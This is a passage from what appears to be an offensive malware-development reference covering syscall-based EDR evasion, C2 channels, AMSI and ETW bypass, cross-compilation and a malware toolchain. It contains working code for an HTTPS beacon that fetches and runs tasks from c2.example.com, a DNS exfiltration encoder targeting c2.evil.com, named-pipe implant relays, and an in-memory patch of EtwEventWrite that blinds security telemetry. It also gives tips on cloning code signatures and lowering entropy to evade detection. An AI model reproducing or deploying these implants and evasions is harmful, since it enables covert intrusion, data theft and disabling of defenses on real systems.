Direct syscalls Low Medium Syscall origin checks (unbacked memory) SysWhispers2
Indirect syscalls Medium High Advanced ETW tracing SysWhispers3, most reliable
HellsGate/HalosGate Medium High Memory scanning for SSN resolution code Runtime SSN resolution
ntdll unhooking Low Medium Periodic integrity checks by EDR Simplest but detectable
Custom loader + indirect High Very High Advanced behavioral analysis only Best approach for mature EDR

#C2 Communication

#HTTP(S) Beacon (C#)

The HTTP(S) beacon pattern is the most common C2 channel - the implant periodically polls the server for tasks and posts results. Adding jitter (random variation to sleep time) makes the traffic less predictable and harder to detect with statistical analysis. Use legitimate-looking User-Agent headers and URI paths that blend with normal web traffic.

// Simple HTTPS beacon with sleep jitter
while (true) {
    try {
        var client = new WebClient();
        // Add legitimate-looking headers
        client.Headers.Add("User-Agent",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64)");

        // Check-in (GET task)
        string task = client.DownloadString(
            "https://c2.example.com/api/beacon");

        if (!string.IsNullOrEmpty(task)) {
            // Execute and return result
            string result = Execute(task);
            client.UploadString(
                "https://c2.example.com/api/result",
                result);
        }
    } catch { }

    // Sleep with jitter (30s +/- 30%)
    int jitter = new Random().Next(-9000, 9000);
    Thread.Sleep(30000 + jitter);
}

#DNS Beaconing

DNS is a covert C2 channel because DNS traffic is almost never blocked and often not inspected. Data is encoded into subdomain labels of queries to an attacker-controlled authoritative nameserver. Tasking comes back in TXT/CNAME records. Bandwidth is low (limited by label/query size) but the channel is extremely hard to block without breaking legitimate DNS.

# DNS exfil encoder (prep-time tool)
import base64

def dns_encode(data: bytes, domain: str) -> list:
    """Chunk data into DNS-safe subdomain labels."""
    b32 = base64.b32encode(data).decode().rstrip("=").lower()
    # Max 63 chars per label, 253 total FQDN
    chunks = [b32[i:i+63] for i in range(0, len(b32), 63)]
    queries = []
    for i, chunk in enumerate(chunks):
        queries.append(f"{i}.{chunk}.data.{domain}")
    return queries

# Usage: generate queries for exfiltration
for q in dns_encode(b"whoami output here", "c2.evil.com"):
    print(q)  # 0.orsxg5bamnqxk4y.data.c2.evil.com
    # Implant sends: nslookup -type=TXT <query>
    # C2 authoritative NS receives and reassembles

#Named Pipes (SMB)

Named pipes provide peer-to-peer communication between implants on the same network, especially useful for lateral movement. A parent beacon on an internet-connected host relays traffic to child implants that communicate only via SMB named pipes. This keeps internal implants off the wire and reduces the number of hosts that beacon externally.

// P2P communication via named pipes
// Server (implant)
var server = new NamedPipeServerStream(
    "msupdate_pipe",
    PipeDirection.InOut,
    1,
    PipeTransmissionMode.Byte,
    PipeOptions.Asynchronous);
server.WaitForConnection();

// Client (operator)
var client = new NamedPipeClientStream(
    "targethost",
    "msupdate_pipe",
    PipeDirection.InOut);
client.Connect(5000);

#C2 Frameworks Reference

Framework Language Protocol License
Cobalt Strike Java/C HTTPS, DNS, SMB Commercial
Sliver Go mTLS, HTTP(S), DNS, WG Open source
Havoc C/C++ HTTP(S), SMB Open source
Mythic Python/Go HTTP(S), custom Open source
Brute Ratel C/C++ HTTP(S), DNS, SMB Commercial
Covenant C# HTTP(S) Open source
PoshC2 Python/PS HTTP(S) Open source
Merlin Go HTTP/2, HTTP/3 Open source

#AMSI & ETW Bypass

#AMSI Bypass

The Antimalware Scan Interface (AMSI) scans PowerShell, .NET assemblies, VBScript, and JScript at runtime. Any in-memory payload loaded via these runtimes will be scanned before execution. Bypassing AMSI is a prerequisite for running unobfuscated .NET implants or PowerShell cradles.

Common techniques: patching amsi.dll!AmsiScanBuffer in memory, forcing an error return, hardware breakpoint hooking, and CLR-level bypass via reflection.

For detailed bypass techniques and code, see AMSI Bypass.

#ETW Patching

Event Tracing for Windows (ETW) feeds telemetry to EDR products. Patching ntdll!EtwEventWrite to return immediately (xor eax, eax; ret) blinds the EDR to .NET assembly loads, syscall traces, and threat intelligence events. Combine with AMSI bypass for full coverage.

// Patch EtwEventWrite to disable ETW
void PatchEtw() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PVOID pEtw = GetProcAddress(hNtdll, "EtwEventWrite");

    DWORD oldProtect;
    VirtualProtect(pEtw, 4, PAGE_EXECUTE_READWRITE, &oldProtect);

    // xor eax, eax; ret (return STATUS_SUCCESS)
    memcpy(pEtw, "\x33\xc0\xc3", 3);

    VirtualProtect(pEtw, 4, oldProtect, &oldProtect);
}

For more AMSI and ETW bypass methods, see AMSI Bypass and EDR Evasion.

#PE Structure & Compilation

#PE Structure Overview

Understanding the PE (Portable Executable) format is essential for writing loaders, packers, reflective DLL injection, and manual mapping. Key structures: DOS header, NT headers (signature + file header + optional header), section headers (.text, .rdata, .data, .rsrc, .reloc), and the data directories (imports, exports, relocations, TLS).

For detailed PE structure reference, see Windows Internals.

#Cross-Compilation Targets

Compiler Command Target
MSVC cl /O2 /MT loader.c Native Windows, static CRT
MinGW-w64 x86_64-w64-mingw32-gcc -o loader.exe loader.c Linux to Windows cross-compile
Rust cargo build --release --target x86_64-pc-windows-msvc Windows MSVC toolchain
Rust (GNU) cargo build --release --target x86_64-pc-windows-gnu Windows via MinGW
Go GOOS=windows GOARCH=amd64 go build Cross-compile to Windows
Nim nim c -d:release --app:gui -d:mingw loader.nim Nim to Windows

#Compilation Tips

  • Static linking (/MT in MSVC, -static in GCC) avoids runtime DLL dependencies that may be missing on targets
  • Strip symbols (strip or /DEBUG:NONE) to remove function names from the binary
  • Disable CRT security (/GS-) to reduce binary size and remove stack cookies (not needed for implants)
  • Resource signing: use sigthief or CarbonCopy to clone Authenticode signatures from legitimate binaries
  • Entropy reduction: after encryption, use tools like Limelighter or append large low-entropy sections to reduce overall file entropy below detection thresholds

#Tooling & Resources

#MalDev Toolchain

  • Compilers: MSVC, MinGW-w64, Nim, Go, Rust
  • Shellcode: Donut, ScareCrow, PEzor, Freeze
  • Obfuscation: ConfuserEx (.NET), Themida (native), VMProtect
  • Packers: UPX, MPRESS, Amber, Limelighter
  • Loaders: sRDI, COFFLoader, BokuLoader
  • Testing: Antiscan.me (no distribution), DefenderCheck
  • Debug: x64dbg, WinDbg, IDA Pro, Ghidra

#Reference Projects

#Also See

#Cyber Aurelien Guidi